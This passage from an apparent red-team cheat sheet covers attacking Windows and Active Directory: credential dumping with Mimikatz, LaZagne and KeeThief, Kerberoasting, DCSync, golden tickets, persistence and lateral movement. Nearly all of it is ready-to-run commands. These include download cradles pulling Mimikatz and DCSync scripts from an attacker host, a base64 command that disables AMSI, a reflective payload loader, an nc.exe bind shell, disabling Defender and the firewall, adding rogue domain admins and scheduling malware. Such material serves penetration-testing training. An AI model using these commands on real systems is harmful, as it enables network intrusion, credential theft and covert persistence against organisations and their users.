dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
```

Check for AlwaysInstalledElevated Reg Key

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
```

Any Passwords in Registry?

```
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
```

Any Sysrep or Unattend Files Left Over

```
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.
Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
```

GPP (Group Policy Preferences) Passwords

```
smbclient //DOMAINCONTROLLER.local/SYSVOL -U m0chan

\m0chanAD.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Groups\

http://www.sec-1.com/blog/wp-content/uploads/2015/05/gp3finder_v4.0.zip - For Decryption

Can also use PowerUP.ps1
```

Dump Chrome Passwords (Also Post Exploit)

```
#git clone https://github.com/rasta-mouse/CookieMonster

CookieMonster creds
CookieMonster.exe cookies -d [domain] -e
CookieMonster -a

Must be run in the context of the target users as chrome passwords are encrypted with DPAPI.

Can also use Mimikatz for this.

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data"

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data" /unprotect

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Cookies" /unprotect
```

Dump KeePass

```
#https://github.com/HarmJ0y/KeeThief
#http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/

Get-Process keepass
tasklist | findstr keepass

Attacking KeePass

#https://raw.githubusercontent.com/HarmJ0y/KeeThief/master/PowerShell/KeeThief.ps1
Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose

KeeTheft.exe, Microsoft.Diagnostics.Runtime.dll & KeePatched.exe can also be used.
```

Token Impersonation

```
https://github.com/PowerShellMafia/PowerSploit/blob/c7985c9bc31e92bb6243c177d7d1d7e68b6f1816/Exfiltration/Invoke-TokenManipulation.ps1

Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe"

Can also use incognito from meterpreter to steal access/delegation tokens and impersonate users. (Requires Admin/SYSTEM Privs)

#Tokenvator https://github.com/0xbadjuju/Tokenvator

Reflectively Load it with Powershell, Cobalt, SilentTrinity etc...
```

```
$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials
$k="xxxxxxx";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("https://xxxxx")))|%{$_-bxor$k[$i++%$k.length]}
[System.Reflection.Assembly]::Load($b) | Out-Null
$parameters=@("arg1", "arg2")
[namespace.Class]::Main($parameters)


Reflectively Load .NET Assembly within Powershell if you cant do it through your C2 Infra
```

Juicy Potato

```
#Requires SeImpersonatePrivilege (Typically found on service accounts IIS Service, SQL Service etc)

#Reference https://ohpe.it/juicy-potato/

Requirements: SeAssignPrimaryTokenPrivilege and/or SeImpersonatePrivilege

(new-object System.Net.WebClient).DownloadFile('http://10.10.14.5:8000/JuicyPotato.exe','C:\Program Files\Micros
oft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\Backup\JuicyPotato.exe')

JuicyPotato.exe -l 1337 -p C:\Users\Public\Documents\Mochan.exe -t * -c {5B3E6773-3A99-4A3D-8096-7765DD11785C}

Mochan.exe = Payload
5B3E6773-3A99-4A3D-8096-7765DD11785C = Target CLISD

A CLSID is a GUID that identifies a COM class object

Can also use -A flag to specify arguments alongside cmd.exe/powershell.exe etc

JUICY POTATO HAS TO BE RAN FROM CMD SHELL AND NOT POWERSHELL
```

Kerberoasting

```
#Check my Blog Post Kerberos Attacks in Depth for Further Information
#https://m0chan.github.io/Kerberos-Attacks-In-Depth

Get-DomainSPNTicket -Credential $cred -OutputFormat hashcat

because Hashcat over John anyday right?

Invoke-Kerberoast.ps1

python GetUserSPNs.py -request -dc-ip 10.10.14.15 m0chanad.local/serviceaccount

Ofc the above requires access to Port 88 on the DC but you can always port forward if executing GetUserSPNs.py m
anually.

https://github.com/GhostPack/SharpRoast --NOW Deprecated-- and incorproated into Rebeus with the kerberoast acti
on
```

Kerberoast with Python

```
#https://github.com/skelsec/kerberoast


IMPORTANT: the accepted formats are the following
<ldap_connection_string> : <domainname>/<username>/<secret_type>:<secret>@<DC_ip>
<kerberos_connection_string>: <kerberos realm>/<username>/<secret_type>:<secret>@<DC_ip>



Look for vulnerable users via LDAP
kerberoast ldap all <ldap_connection_string> -o ldapenum

Use ASREP roast against users in the ldapenum_asrep_users.txt file
kerberoast asreproast <DC_ip> -t ldapenum_asrep_users.txt

Use SPN roast against users in the ldapenum_spn_users.txt file
kerberoast spnroast <kerberos_connection_string> -t ldapenum_spn_users.txt
```

AS Rep Roasting

```
#Accounts have to have DONT_REQ_PREAUTH explicitly set for them to be vulnerable

Get-ASRepHash -Domain m0chanAD.local -User victim

Can also use Rebeus (Reflectively Load .NET Assembly.)

.\Rubeus.exe asreproast
```

DCSync (Also Post Exploit)

```
#Special rights are required to run DCSync. Any member of Administrators, Domain Admins, or Enterprise Admins as
 well as Domain Controller computer accounts are able to run DCSync to pull password data. Note that Read-Only D
omain Controllers are not  allowed to pull password data for users by default.

#and anyone with the Replicating Changes permissions set to Allow (i.e., Replicating Changes All/Replicating Dir
ectory Changes)

mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

powershell.exe -Version 2 -Exec Bypass /c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.6:8000
/Invoke-DCSync.ps1'); Invoke-DCSync -PWDumpFormat"


Empire Module: powershell/credentials/mimikatz/dcsync_hashdump
```

Post Exploitation

Useful Commands

```
net user m0chan /add /domain
net localgroup Administrators m0chan /add

# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD
 /d 0 /f

Turn firewall off
netsh firewall set opmode disable

Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD
 /d 0 /f

If you get this error:

CredSSP Error Fix ->

Add this reg key:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthent
ication /t REG_DWORD /d 0 /f

Disable Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true
```

Esenutl.exe Dump Locked File

```
C:\WINDOWS\system32\esentutl.exe /y <SOURCE> /vss /d <DEST>



Can be useful where you want to dump SAM and (or) SYSTEM but the file is locked by the OS (Windows 10)
```

Check if Powershell Logging is Enabled

```
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
```

Run Seatbelt (ABSOLUTELY MUST)

```
#https://github.com/GhostPack/Seatbelt

This is stupidily good, it can literally Enum everything you require and is also a .NET Assembly so can be refle
ctively loaded to avoid AV :D Win Win

BasicOSInfo           -   Basic OS info (i.e. architecture, OS version, etc.)
RebootSchedule        -   Reboot schedule (last 15 days) based on event IDs 12 and 13
TokenGroupPrivs       -   Current process/token privileges (e.g. SeDebugPrivilege/etc.)
UACSystemPolicies     -   UAC system policies via the registry
PowerShellSettings    -   PowerShell versions and security settings
AuditSettings         -   Audit settings via the registry
WEFSettings           -   Windows Event Forwarding (WEF) settings via the registry
LSASettings           -   LSA settings (including auth packages)
UserEnvVariables      -   Current user environment variables
SystemEnvVariables    -   Current system environment variables
UserFolders           -   Folders in C:\Users\
NonstandardServices   -   Services with file info company names that don't contain 'Microsoft'
InternetSettings      -   Internet settings including proxy configs
LapsSettings          -   LAPS settings, if installed
LocalGroupMembers     -   Members of local admins, RDP, and DCOM
MappedDrives          -   Mapped drives
RDPSessions           -   Current incoming RDP sessions
WMIMappedDrives       -   Mapped drives via WMI
NetworkShares         -   Network shares
FirewallRules         -   Deny firewall rules, "full" dumps all
AntiVirusWMI          -   Registered antivirus (via WMI)
InterestingProcesses  -   "Interesting" processes- defensive products and admin tools
RegistryAutoRuns      -   Registry autoruns
RegistryAutoLogon     -   Registry autologon information
DNSCache              -   DNS cache entries (via WMI)
ARPTable              -   Lists the current ARP table and adapter information (equivalent to arp -a)
AllTcpConnections     -   Lists current TCP connections and associated processes
AllUdpConnections     -   Lists current UDP connections and associated processes
NonstandardProcesses  -   Running processeswith file info company names that don't contain 'Microsoft'
  *  If the user is in high integrity, the following additional actions are run:
SysmonConfig          -   Sysmon configuration from the registry

And more!!
```

Dump Creds

```
(new-object System.Net.WebClient).DownloadString('http://10.10.14.5:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz

Can also run Mimikatz.exe after some AV Evasion removing strings etc. ippSec has a great tutorial on this.

mimikatz.exe
privlege::debug
sekurlsa::logonPasswords full

The safer method is to dump the process memory of LSASS.exe with MiniDump
(https://github.com/3xpl01tc0d3r/Minidump)

(or) https://github.com/GhostPack/SharpDump

and send the .bin to Mimikatz locally.

sekurlsa::minidump C:\users\m0chan\lssas.dmp

Can also be used for dumping and pass the ticket attacks but will cover this elsewhere.

Mimikatz Guide

#Logon Sessions

sekurlsa::logonPasswords all

#Dump Cache

lsadump::cache

#Dump SAM

lsadump::sam
```

Dump Creds #2

```
#https://github.com/AlessandroZ/LaZagne

laZagne.exe all
laZagne.exe browsers
laZagne.exe browsers -firefox
```

Running Mimikatz with GadgetToJScript or VBS

```
#https://gist.github.com/med0x2e/cc10d42b1f581507013e801da2651c74

cscript mimi.js privilege::debug < safe.txt
```

SessionGopher

```
#https://github.com/Arvanaghi/SessionGopher

Quietly digging up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP

SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools. It
 has WMI functionality built in so it can be run remotely. Its best use case is to identify systems that may con
nect to Unix systems, jump boxes, or point-of-sale terminals

Invoke-SessionGopher -Thorough

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```

Dump Chrome Passwords (Also Post Exploit)

```
#git clone https://github.com/rasta-mouse/CookieMonster

CookieMonster creds
CookieMonster.exe cookies -d [domain] -e
CookieMonster -a

Must be run in the context of the target users as chrome passwords are encrypted with DPAPI.

Can also use Mimikatz for this.

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data"

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data" /unprotect

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Cookies" /unprotect
```

Dump Process Memory w/ Mimikittenz

```
#https://github.com/putterpanda/mimikittenz

mimikittenz is a post-exploitation powershell tool that utilizes the Windows function ReadProcessMemory() in ord
er to extract plain-text passwords from various target processes.

The aim of mimikittenz is to provide user-level (non-admin privileged) sensitive data extraction in order to max
imise post exploitation efforts and increase value of information gathered per target.

Invoke-Mimikittenz
```

Dump KeePass

```
#https://github.com/HarmJ0y/KeeThief
#http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/

Get-Process keepass
tasklist | findstr keepass

Attacking KeePass

#https://raw.githubusercontent.com/HarmJ0y/KeeThief/master/PowerShell/KeeThief.ps1
Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose

KeeTheft.exe, Microsoft.Diagnostics.Runtime.dll & KeePatched.exe can also be used.
```

pypykatz

```
#https://github.com/skelsec/pypykatz

Full python implementation of Mimikatz :D

pip3 install pypykatz
```

SafetyKatz

```
#https://github.com/GhostPack/SafetyKatz

Full C Sharp Implemenatation of Mimikatz that can be reflectively loaded :D

"SafetyKatz is a combination of slightly modified version of @gentilkiwis Mimikatz project and @subtee's .NET PE
 Loader.

First, the MiniDumpWriteDump Win32 API call is used to create a minidump of LSASS to C:\Windows\Temp\debug.bin.
Then @subtees PELoader is used to load a customized version of Mimikatz that runs sekurlsa::logonpasswords and s
ekurlsa::ekeys on the minidump file, removing the file after execution is complete."
```

SharpDPAPI

```
#https://github.com/GhostPack/SharpDPAPI

Full C Sharp Implementation of Mimikatzs DPAPI features which allows access to DPAPI features.
```

SharpSniper

```
#https://github.com/HunnicCyber/SharpSniper

Often a Red Team engagement is more than just achieving Domain Admin. Some clients will want to see if specific
users in the domain can be compromised, for example the CEO.

SharpSniper is a simple tool to find the IP address of these users so that you can target their box.

C:\> SharpSniper.exe emusk DomainAdminUser DAPass123

User: emusk - IP Address: 192.168.37.130
```

SharpLocker

```
#https://github.com/Pickfordmatt/SharpLocker

SharpLocker helps get current user credentials by popping a fake Windows lock screen, all output is sent to Cons
ole which works perfect for Cobalt Strike.
```

Check for Missing KB's

```
watson.exe
Sherlock.ps1

Use Watson.exe Assembly and reflectively load .NET Assembly into memory to avoid antivirus.

More at the bottom re. Reflectively Loading stuff. (Also does not hurt to change certain strings etc)

https://github.com/rasta-mouse/Watson
```

Decrypt EFS Files with Mimikatz if Admin/System

```
#https://github.com/gentilkiwi/mimikatz/wiki/howto-~~-decrypt-EFS-files

cipher /c "d:\Users\Gentil Kiwi\Documents\m0chan.txt" - View if File is EFS Encrypted and whom can Decrypt, some times Impersonating a token is easier than manually decrying with mimikatz.

privilege::debug
token::elevate
crypto::system /file:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\B53C6DE283C00203587A03DD3D0BF66E16969A55" /export

dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b"

dpapi::masterkey /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Protect\S-1-5-21-494464150-3436831043-1864828003-1001\1eccdbd2-4771-4360-8b19-9d6060a061dc" /password:waza1234/

dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-494464150-3436831043-1864828003-1001\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b" /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b

openssl x509 -inform DER -outform PEM -in B53C6DE283C00203587A03DD3D0BF66E16969A55.der -out public.pem

openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_ffb75517-bc6c-4a40-8f8b-e2c555e30e34.pvk -out private.pem

openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot
```

UAC Bypass

```
https://egre55.github.io/system-properties-uac-bypass/ - Read Ghoul writeup on HTB for more Info

findstr /C:"<autoElevate>true"

C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
C:\Windows\SysWOW64\SystemPropertiesComputerName.exe
C:\Windows\SysWOW64\SystemPropertiesHardware.exe
C:\Windows\SysWOW64\SystemPropertiesProtection.exe
C:\Windows\SysWOW64\SystemPropertiesRemote.exe
```

Golden Ticket Attack

```
#Check my Blog Post Kerberos Attacks in Depth for Further Information
#https://m0chan.github.io/Kerberos-Attacks-In-Depth

# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>

# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default
 by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>


#Inject Ticket with Rebeus
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

DCSync & Golden Ticket in One

```
#https://raw.githubusercontent.com/vletoux/MakeMeEnterpriseAdmin/master/MakeMeEnterpriseAdmin.ps1


This script will abuse DCSync privileges to extract the krbtgt password and automatically generate a golden tick
et before finally importing it into the current session.

You can then add yourself into the Domain Admins / Enterprise Admins group to gain persistance.

.\MakeMeEnterpriseAdmin.ps1
```

Child Domain to Forest Compromise

```
Domain = Logical group of objects (users, computers, servers etc etc) supported from a central location like a D
C

Tree = Set of domains using same name space (DNS Name)

Trust = Agreement between 2 domains that allow cross-domain access to resources etc. i/e Michelle@dev.m0chan.com
 may be able to access resources inside HR.m0chan.com.

Forest = Largest Structure composed of all trees.

Most trees are linked with dual sided trust relationships to allow for sharing of resources.

By default the first domain created if the Forest Root.

Lets say we have owned a domain controller and got the KRBTGT Hash (The keys to the castle) we can now create

Covert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502

Replace 502 with 519 to represent Enterprise Admins

Create golden ticket and attack parent domain.


This will not work if there is SID Filtering in place for respective target domain.

harmj0ys article explains it best.

#http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
```

Dump NTDS.dit

```
C:\vssadmin create shadow /for=C:
copy \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\ntds\ntds.dit
.
copy \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM
.
copy \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SAM
.
reg SAVE HKLM\SYSTEM c:\SYS
vssadmin delete shadows /for= [/oldest | /all | /shadow=]


If you pwn a BackupOperator account with SeBackupPrivilege you can also dump NTDS.dit
```

SeBackupPrivlege - Dump NTDS.dit

```
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

PS C:\m0chan> Get-SeBackupPrivilege
SeBackupPrivilege is disabled

PS C:\m0chan> Set-SeBackupPrivilege

PS C:\m0chan> Get-SeBackupPrivilege
SeBackupPrivilege is enabled

PS C:\m0chan> Copy-FileSeBackupPrivilege P:\Windows\System32\ntds.dit C:\m0chan\ntds.dit -Overwrite
Copied 12582912 bytes

Use diskshadow to mount a shadow copy and then copy Windows\system32\ntds.dit

Remember and not use C:\Windows\ntds\ntds.dit

reg.exe save hklm\system c:\m0chan\SYSTEM.bak
```

Persistance

SSH Shuttle

```
./run -r root@10.10.110.123 172.16.1.0/24 -e "ssh -i Root.key"
```

SharPersist

```
#https://github.com/fireeye/SharPersist

C# Libary Designed by FireEye to aid with Persistance using various techniques such as

KeePass Backdoor
Reg Key
Sch Task Backdoor
Startup Folder (Link File)
Service Backdoor

See there github linked above for full Syntax, very cool work
```

SharpDoor

```
#https://github.com/infosecn1nja/SharpDoor.git

SharpDoor is alternative RDPWrap written in C# to allowed multiple RDP (Remote Desktop) sessions by patching ter
msrv.dll file, for opsec considerations SharpDoor still using cmd.exe to run sc services to impersonating as tru
stedinstaller in the future will be avoiding cmd.exe usage, currently only support for Windows 10.

execute-assembly /root/Toolkits/SharpBinaries/SharpDoor.exe
```

AutoRun Registry

```
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
```

Run & Run Once

```
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate
/t REG_SZ /d "C:\Temp\SoftwareUpdate\Malware.exe"
```

Scheduled Tasks

```
#Note - Beaware. some EDR/Endpoint Solutions detect Scheduled Tasks being created and trigger alerts.

schtasks /create /sc minute /mo 1 /tn "Malware" /tr C:\Temp\SoftwareUpdate\Malware.exe

This will run Malware.exe every minute forever.

# Run Malware.exe every day at 06:00am
schtasks /create /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc daily /st 06:00

# Runs a task each time the user's session is idle for 5 minutes.
schtasks /create /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc onidle /i 5

# Runs a a task as SYSTEM when User Logs in.
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /s
c onlogon
```

Windows Startup Folder

```
This has been around for years as basically every version of Windows contains a startup folder.

Windows 10 - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Current User Startup - C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
```

EXE/DLL Hijacking

```
Look for any missing DLL's or EXE's that common programs are calling on startup and over write them with your pa
yload/malware.

Also if you are localadmin/system you could provide over write a normal service binary or DLL, providing you don
't break the execution.
```

Add User Account

```
net user m0chan /add /domain
net group "Domain Admins" m0chan /add /domain
net localgroup "Administrators" /add
net user m0chan /domain /comment:"Your Blueteam Fucking Sucks"
```

Persistence with Kerberos

```
We can dump Kerberos tickets and inject them in session when deemed relevant however tickets have a low life spa
n unless explically requested for 7 days.

They can be injected into session with mimikatz or Rebeus.

But let's say we have pwned a DC and got the KRBTGT Hash we can generate a golden ticket with a 10 year life spa
n.

kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt
:310b643c5316c8c3c70a10cfb17e2e31 /ticket:utilisateur.chocolate.kirbi

SID is the domain SID

Inject Ticket

kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi

Can also inject kirbi with Rebeus
```

Lateral Movement

Plink

```
plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

#Windows 1803 Built in SSH Client (By Default)

ssh -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
```

Powershell Port Forward

```
netsh interface portproxy add v4tov4 listenport=fromport listenaddress=fromip connectport=toport connectaddress=
toip

Permanent ^^

Requires iphlpsvc service to be enabled

fromport: the port number to listen on, e.g. 80
fromip: the ip address to listen on, e.g. 192.168.1.1
toport: the port number to forward to
toip: the ip address to forward to
```

Invoke-SocksProxy

```
#https://github.com/p3nt4/Invoke-SocksProxy/

Local Socks4 Proxy on 1080

Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1080


Reverse Socks Proxy on Remote Machine Port 1080

# On the remote host:
# Generate a private key and self signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem

# Get the certificate fingerprint to verify it:
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"

# Start the handler
python ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key

# On the local host:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130

# Go through the system proxy:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy

# Validate certificate
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy -certFingerprint '93061FDB30
D69A435ACF96430744C5CC5473D44E'
```

Socat for Windows

```
#https://github.com/StudioEtrange/socat-windows

Generate SSL Cert for Encryption
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key

Server : socat OPENSSL-LISTEN:443,cert=/cert.pem -
Client : socat - OPENSSL:localhost:443

#Port Forward

socat OPENSSL-LISTEN:443,cert=/cert.pem,fork TCP:202.54.1.5:443

All SSL Connections will be redirected to 202.54.1.5:443

#Non SSL Port Forward
socat TCP-LISTEN:80,fork TCP:202.54.1.5:80
```

SharpExec

```
#https://github.com/anthemtotheego/SharpExec

C# Implementation of Conventional Lateral Movement Techniques, such as

-WMIExec - Semi-Interactive shell that runs as the user. Best described as a less mature version of Impacket's w
miexec.py tool.

-SMBExec - Semi-Interactive shell that runs as NT Authority\System. Best described as a less mature version of I
mpacket's smbexec.py tool.

-PSExec (like functionality) - Gives the operator the ability to execute remote commands as NT Authority\System
or upload a file and execute it with or without arguments as NT Authority\System.

-WMI - Gives the operator the ability to execute remote commands as the user or upload a file and execute it wit
h or without arguments as the user.
```

Secure Sockets Funneling

```
#https://0xdf.gitlab.io/2019/01/28/tunneling-with-chisel-and-ssf.html#ssf
#git clone https://github.com/securesocketfunneling/ssf.git

Massive shout out to 0xdf for explaining this perfectly in his article. Couldnt have done it better myself.
```

Chisel (Fast TCP Tunnel over HTTP secured by SSH)

```
#https://0xdf.gitlab.io/2019/01/28/tunneling-with-chisel-and-ssf.html
```

CrackMapExec

```
#https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crackmapexec-lateral-movement/
```

WMIC Spawn Process

```
wmic /node:WS02 /user:DOMAIN\m0chan /password:m0chan process call create "powershell.exe -Enc aQBlAHgAIAAoACgAbg
BlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaA
B0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgA2AC8ARwBvAG8AZABuAGkAZwBoAHQALgBwAHMAMQAiACkAKQA7ACAAaQBmACgAWwBCAHkAcA
BhAHMAcwAuAEEATQBTAEkAXQA6ADoARABpAHMAYQBiAGwAZQAoACkAIAAtAGUAcQAgACIAMAAiACkAIAB7ACAAaQBlAHgAIAAoACgAbgBlAHcALQ
BvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcA
A6AC8ALwAxADAALgAxADAALgAxADQALgA2AC8ASABSAEUAdgBlAG4AdABzAC4AcABzADEAIgApACkAIAB9AA=="
```

WinRS

```
#https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/winrs

winrs [/<parameter>[:<value>]] <command>

winrs /r:https://contoso.com command

winrs /r:http://[1080:0:0:0:8:800:200C:417A]:80 command

winrs /r:myserver /ad /u:administrator /p:$%fgh7 dir \\anotherserver\share
```

Invoke-WMIExec.ps1

```
Invoke-WMIExec -Target 10.10.14.14 -Username rweston_da -Hash 3ff61fa259deee15e4042159d
7b832fa -Command "net user user pass /add /domain"

PS C:\users\user\Downloads> Invoke-WMIExec -Target 10.10.120.1 -Username m0chan -Hash 3ff61fa259deee15e4042159d
7b832fa -Command "net group ""Domain Admins"" m0chan /add /domain"
```

Powershell Invoke-Command (Requires Port 5985)

```
$secpasswd = ConvertTo-SecureString 'pass' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('m0chan\user', $secpasswd)

Invoke-Command -ComputerName FS01 -Credential $cred -ScriptBlock {whoami}
```

PSExec

```
psexec.exe \\dc01.m0chanAD.local cmd.exe
```

Powershell Remoting

```
$secpasswd = ConvertTo-SecureString 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('WS02\USER', $secpasswd)

$Session = New-PSSession -ComputerName FileServer -Credential $cred
Enter-PSSession $Session
```

Configure Remote Service over SMB (Requires Local Admin on Target Machine)

```
net use \\192.168.0.15 [password] /u:DOMAIN\m0chan

sc \\192.168.0.15 create <service_name> binpath= "cmd.exe /k COMMAND"
sc \\192.168.0.15 create <service_name> binpath= "cmd.exe /k <c:\tools\nc.exe -L -p <port> -e cmd.exe>"
sc \\192.168.0.15 start <service_name>
```

Pass-The-Hash

```
crackmapexec <ip> -u <user> -H "<lm>" -x "<msfvenom psh-cmd>"

impacket-wmiexec <user>@<ip> -hashes <lm:nt>

pth-winexe -U <user>%<ntlm> //<ip> "<msfvenom psh-cmd>"

python wmiexec.py -hashes :<hash> <user>@<ip>

xfreerdp /u:<user> /d:<domain> /pth:<ntlm> /v:<ip>:3389 /dynamic-resolution

sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
```

Pass-The-Ticket

```
#Check my Blog Post Kerberos Attacks in Depth for Further Information

Rebeus monitor /interval:30

Monitoring logon sessions every 30 seconds so I can pinch Kerb tickets

